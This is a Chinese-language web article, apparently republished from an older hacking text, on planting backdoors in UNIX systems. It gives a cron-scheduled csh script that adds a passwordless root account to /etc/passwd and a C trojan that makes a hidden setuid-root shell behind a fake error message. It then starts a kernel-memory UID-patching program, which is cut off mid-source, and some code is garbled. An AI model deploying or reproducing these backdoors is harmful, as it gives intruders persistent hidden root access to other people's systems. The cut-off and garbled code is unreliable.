创建UNIX后门(高级篇) (1) |
发布时间: 2012/8/10 18:20:20 |
Crontab 程序对于系统管理员来说是非常有用的。Cron 服务用于计划程序在特定时间(月、日、周、时、分)运行。如果你足够聪明,就应该加以利用,使之为我们制造“后门”!通过 Cron 服务,你可以让它在每天凌晨 2:00 (这个时候网管应该睡觉了吧。)运行后门程序,使你能够轻易进入系统干你想干的事,并在网管起来之前退出系统。根用户的 crontab 文件放在 /var/spool/crontab/root 中,其格式如下: (1) (2) (3) (4) (5) (6) 0 0 * * 3 /usr/bin/updatedb 1. 分钟 (0-60) 2. 小时 (0-23) 3. 日 (1-31) 4. 月 (1-12) 5. 星期 (1-7) 6. 所要运行的程序 以上内容设置该程序于每星期三 0:0 运行。要在 cron 建立后门,只需在 /var/spool/crontab/root 中添加后门程序即可。例如该程序可以在每天检查我们在 /etc/passwd 文件中增加了用户帐号是否仍然有效。以下是程序示例: 0 0 * * * /usr/bin/retract <++> backdoor/backdoor.sh #!/bin/csh set evilflag = (`grep eviluser /etc/passwd`) if($#evilflag == 0) then set linecount = `wc -l /etc/passwd` cd cp /etc/passwd ./temppass @ linecount[1] /= 2 @ linecount[1] += 1 split -$linecount[1] ./temppass echo "Meb::0:0:Meb:/root:/bin/sh" >> ./xaa cat ./xab >> ./xaa mv ./xaa /etc/passwd chmod 644 /etc/passwd rm ./xa* ./temppass echo Done... else endif <--> [综合] 当然,我们可以编写木马程序,并把它放到 /bin 目录下。当以特定命令行参数运行时将产生一个 suid shell。以下是程序示例: <++> backdoor/backdoor3.c #include #define pass "triad" #define BUFFERSIZE 6 int main(argc, argv) int argc; char *argv[];{ int i=0; if(argv[1]){ if(!(strcmp(pass,argv[1]))){ system("cp /bin/csh /bin/.swp121"); system("chmod 4755 /bin/.swp121"); system("chown root /bin/.swp121"); system("chmod 4755 /bin/.swp121"); } } printf("372f: Invalid control argument, unable to initialize. Retrying"); for(;i<10;i++){ fprintf(stderr,"."); sleep(1); } printf("nAction aborted after 10 attempts.n"); return(0); } <--> [变种] 以下程序通过在内存中寻找你所运行程序的 UID,并将其改为 0,这样你就有了一个 suid root shell 了。 <++> backdoor/kmemthief.c #include #include #include #include #include #include #include #define pass "triad" struct user userpage; long address(), userlocation; int main(arg
本文出自:亿恩科技【www.enkj.com】 |